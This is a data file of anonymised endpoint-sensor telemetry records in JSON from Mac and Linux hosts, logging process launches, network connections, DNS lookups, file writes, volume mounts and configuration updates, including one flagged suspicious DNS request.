-{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"} -{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"} -{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"} -{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"} -{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"} -{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} 